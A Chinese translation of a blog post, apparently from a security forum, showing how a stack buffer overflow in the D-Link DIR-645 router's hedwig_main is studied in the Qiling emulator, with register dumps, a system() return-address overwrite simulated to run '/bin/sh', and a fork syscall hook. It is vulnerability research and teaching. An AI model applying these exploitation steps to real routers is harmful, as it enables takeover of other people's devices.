使用Qiling分析Dlink DIR-645中的缓冲区溢出(part II)

原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_2

介绍

在研究学习使用qiling 框架对路由器固件进行分析的过程中,在先知发现了有前辈搬运并翻译了这篇文章的第一部分,第二部分个人感觉也是很精彩,尝试翻译一下。

目录

  1. 构造exp
  2. 使系统调用能够“工作”
  3. 构造能够在qiling框架下工作的exp
  4. 参考资料

构造exp

通过阅读第一部分,我们在之前的步骤中确定了漏洞的位置,如何去触发这个漏洞以及造成他的根本原因,我们基于之前的工作,知道了程序 将会在 0x0040c594 这个地址触发崩溃,既函数hedwig_main :

...
0040c58c c4 04 b1 8f     lw         s1,param_12(sp)
0040c590 c0 04 b0 8f     lw         s0,param_11(sp)
0040c594 08 00 e0 03     jr         ra
...

我们也知道我们要覆盖堆栈中的很多内存,并且我们控制了大量的寄存器:

...
[-] s0  :    0x41414141
[-] s1  :    0x41414141
[-] s2  :    0x41414141
[-] s3  :    0x41414141
[-] s4  :    0x41414141
[-] s5  :    0x41414141
[-] s6  :    0x41414141
[-] s7  :    0x41414141
[-] t8  :    0x8
[-] t9  :    0x0
[-] k0  :    0x0
[-] k1  :    0x0
[-] gp  :    0x43b6d0
[-] sp  :    0x7ff3c608
[-] s8  :    0x41414141
[-] ra  :    0x41414141
[-] status  :    0x0
[-] lo  :    0x0
[-] hi  :    0x0
[-] badvaddr    :    0x0
[-] cause   :    0x0
[-] pc  :    0x41414140
...

考虑到这种情况,我的想法是用system函数的地址覆盖返回地址,然后根据需要设置参数。我知道这是有用的,因为Metasploit中包含的exp就是如此。

为了检验我的假设,第一步,我决定摆脱所有复杂性并模拟(simulate)这个攻击过程。我的想法是分配一些内存,把我们要执行的命令写在这里,然后通过 改变返回地址指向到 system函数以及把写有命令的内存地址加载到执行system函数所需的寄存器中。

听起来有很大的工作量,让我们来测试一下:

...
RETURN_CORRUPTED_STACK = 0x0040c594     # 在上一篇文章中通过开启调试连接到gdb获得的初始化断点
QILING_SYSTEM = 0x0041eb50              # x/10i system 获得 system function addr


def simulate_exploitation(ql):
    ql.nprint("** at simulate_exploitation **")
    cmd = ql.mem.map_anywhere(20)       # Qiling 分配20字节的块给我们并返回其地址
                                        # 我们把我们的命令写在这里


    ql.mem.string(command, "/bin/sh")   # We write our string
    ql.reg.a0 = command                 # 把 register a0 设置为我们命令的地址
    ql.reg.ra = QILING_SYSTEM           # 最后修改 $ra register
...

ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK)   # 当运行到ret的时候回调到 hedwig_main
ql.run()

正如你将看到的,模拟这个过程非常简单,让我们看看发生了什么:

...
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_wait4 DEBUG: [Errno 10] No child processes
ChildProcessError: [Errno 10] No child processes
...

看起来好像生效了,但感觉这里发生了什么问题。我想是当我们要执行到system函数的某些时刻,system尝试调用fork syscall,但这种方式是qiling不支持的。

为了验证我的想法我做了两件事:第一,我给 system设置了一个断点,检查是否在某个时刻触发了这个断点;其次,为了更好的展示,我修改了system函数执行的命令为exit,让我们看一下又发生了什么:

def simulate_exploitation(ql):
    ...
    ql.reg.ra = QILING_EXIT           # 最后修改 $ra register

运行这个poc:

...
** at simulate_exploitation **
write(1,7756d038,114) = 0
HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>exit(4431872) = 4431872
...

好多了!如我们所见,程序通过调用正常退出exit()。我们可以肯定,利用漏洞的想法是可行的!让我们努力将模拟的转换为真实的东西。

使系统调用能够“工作”

在阅读我在上一步中所做的工作时,我发现我直接利用exit当shellcode是一个很偷懒的行为。我应该更加努力地尝试第一个想法去调用系统函数。基于此,我将更深入地研究如何进行这项工作。

我的第一个想法是检查为什么收到此错误:

[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented

我查看了syscall 0xfa2的类型,发现syscall 0xfa2fork。有了这些信息,我使用了Qiling的扩展系统调用的能力,如下所示:

MIPS_FORK_SYSCALL = 0xfa2

...

# Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
    pid = os.fork()
    if pid == 0:
        ql.os.child_processes = True
        ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
        regreturn = 0
        if ql.os.thread_management != None:
            ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
        else:
            if ql.log_split:
                _logger = ql.log_file_fd
                _logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
                _logger_name = str(len(logging.root.manager.loggerDict))
                _logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
                ql.log_file_fd = _logger
    else:
        regreturn = pid

    if ql.os.thread_management != None:
        ql.emu_stop()
...

ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)
点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖